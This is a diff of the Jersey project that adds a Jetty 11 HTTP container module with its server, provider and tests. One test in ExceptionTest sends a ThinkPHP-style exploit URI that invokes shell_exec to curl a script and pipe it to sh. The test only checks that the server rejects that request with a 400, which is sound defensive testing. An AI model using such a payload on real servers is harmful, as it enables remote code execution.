+
+ private final JettyHttpContainer container;
+
+ private final org.eclipse.jetty.server.Server httpServer;
+
+ JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+ }
+
+ JettyHttpServer(final Class extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new JettyHttpContainer(applicationClass), configuration);
+ }
+
+ JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+ .sslClientAuthentication();
+ final SslContextFactory.Server sslContextFactory;
+ if (configuration.isHttps()) {
+ sslContextFactory = new SslContextFactory.Server();
+ sslContextFactory.setSslContext(configuration.sslContext());
+ sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
+ sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
+ } else {
+ sslContextFactory = null;
+ }
+ this.container = container;
+ this.httpServer = JettyHttpContainerFactory.createServer(
+ configuration.uri(true),
+ sslContextFactory,
+ this.container,
+ configuration.autoStart());
+ }
+
+ @Override
+ public final JettyHttpContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
+ final int configuredPort = serverConnector.getPort();
+ final int localPort = serverConnector.getLocalPort();
+ return localPort < 0 ? configuredPort : localPort;
+ }
+
+ @Override
+ public final CompletableFuture start() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.start();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final CompletableFuture stop() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.stop();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final T unwrap(final Class nativeClass) {
+ return nativeClass.cast(this.httpServer);
+ }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
new file mode 100644
index 00000000000..395a9f952cf
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public T createServer(final Class type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public T createServer(final Class type, final Class extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/NoComponent.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
similarity index 81%
rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/NoComponent.java
rename to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
index 111361c3783..27763d028a3 100644
--- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/NoComponent.java
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,8 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.server.spring;
-
-public class NoComponent {
-
-}
+/**
+ * Jersey Jetty container classes.
+ */
+package org.glassfish.jersey.jetty;
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 00000000000..6b9cc269eda
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpContainerProvider
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 00000000000..641eaee9e41
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpServerProvider
diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
new file mode 100644
index 00000000000..b3094bab489
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -0,0 +1,24 @@
+#
+# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
+error.when.creating.server=Exception thrown when trying to create jetty server.
+unable.to.close.response=Unable to close response output.
+uri.cannot.be.null=The URI must not be null.
+wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
+wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
+not.supported=Jetty container is not supported on JDK version less than 11.
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
new file mode 100644
index 00000000000..7519624dcb7
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJettyServerTester {
+
+ private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
+
+ public static final String CONTEXT = "";
+ private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+ /**
+ * Get the port to be used for test application deployments.
+ *
+ * @return The HTTP port of the URI
+ */
+ protected final int getPort() {
+ if (server != null) {
+ return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
+ }
+
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+ return DEFAULT_PORT;
+ }
+
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.getURI().getPort();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
+ private volatile Server server;
+
+ public UriBuilder getUri() {
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+ }
+
+ public void startServer(Class>... resources) {
+ ResourceConfig config = new ResourceConfig(resources);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ startServer(config);
+ }
+
+ public void startServer(ResourceConfig config) {
+ final URI baseUri = getBaseUri();
+ server = JettyHttpContainerFactory.createServer(baseUri, config);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
+ }
+
+ public URI getBaseUri() {
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+ }
+
+ public void stopServer() {
+ try {
+ server.stop();
+ server = null;
+ LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @AfterEach
+ public void tearDown() {
+ if (server != null) {
+ stopServer();
+ }
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
new file mode 100644
index 00000000000..dfc66b07ca5
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJettyServerTester {
+
+ @Path("/async")
+ @SuppressWarnings("VoidMethodAnnotatedWithGET")
+ public static class AsyncResource {
+
+ public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+ @GET
+ public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+ try {
+ Thread.sleep(5000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(final AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+ .build());
+ }
+ });
+ asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+ try {
+ Thread.sleep(7000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("multiple-invocations")
+ public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+ INVOCATION_COUNT.incrementAndGet();
+
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ asyncResponse.resume("OK");
+ }
+ }).start();
+ }
+ }
+
+ private Client client;
+
+ @BeforeEach
+ public void setUp() throws Exception {
+ startServer(AsyncResource.class);
+ client = ClientBuilder.newClient();
+ }
+
+ @Override
+ @AfterEach
+ public void tearDown() {
+ super.tearDown();
+ client = null;
+ }
+
+ @Test
+ public void testAsyncGet() throws ExecutionException, InterruptedException {
+ final Future responseFuture = client.target(getUri().path("/async")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+ // get() waits for the response
+ assertEquals("DONE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+ final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+
+ /**
+ * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+ */
+ @Test
+ public void testAsyncMultipleInvocations() throws Exception {
+ final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+ assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+ assertThat(response.getStatus(), is(200));
+ assertThat(response.readEntity(String.class), is("OK"));
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
new file mode 100644
index 00000000000..03abb53efe4
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJettyServerTester {
+ @Path("{status}")
+ public static class ExceptionResource {
+ @GET
+ public String get(@PathParam("status") int status) {
+ throw new WebApplicationException(status);
+ }
+
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCode() throws IOException {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("400").build());
+ assertEquals(400, r.request().get(Response.class).getStatus());
+ }
+
+ @Test
+ public void test500StatusCode() {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("500").build());
+
+ assertEquals(500, r.request().get(Response.class).getStatus());
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
new file mode 100644
index 00000000000..cb363fb7693
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
+ assertThat(startResult, is(nullValue()));
+ assertThat(container, is(instanceOf(JettyHttpContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public Set getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return autoStart;
+ default:
+ return null;
+ }
+ };
+ }
+
+}
\ No newline at end of file
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
new file mode 100644
index 00000000000..133bd25cab2
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJettyServerTester {
+
+ @Path("/one")
+ public static class One {
+ @GET
+ public String get() {
+ return "one";
+ }
+ }
+
+ @Path("/two")
+ public static class Two {
+ @GET
+ public String get() {
+ return "two";
+ }
+ }
+
+ public static class Reloader extends AbstractContainerLifecycleListener {
+ Container container;
+
+ public void reload(ResourceConfig newConfig) {
+ container.reload(newConfig);
+ }
+
+ public void reload() {
+ container.reload();
+ }
+
+ @Override
+ public void onStartup(Container container) {
+ this.container = container;
+ }
+
+ }
+
+ @Test
+ public void testReload() {
+ final ResourceConfig rc = new ResourceConfig(One.class);
+
+ Reloader reloader = new Reloader();
+ rc.registerInstances(reloader);
+
+ startServer(rc);
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+ // add Two resource
+ reloader.reload(new ResourceConfig(One.class, Two.class));
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals("two", r.path("two").request().get(String.class));
+ }
+
+ static class StartStopListener extends AbstractContainerLifecycleListener {
+ volatile boolean started;
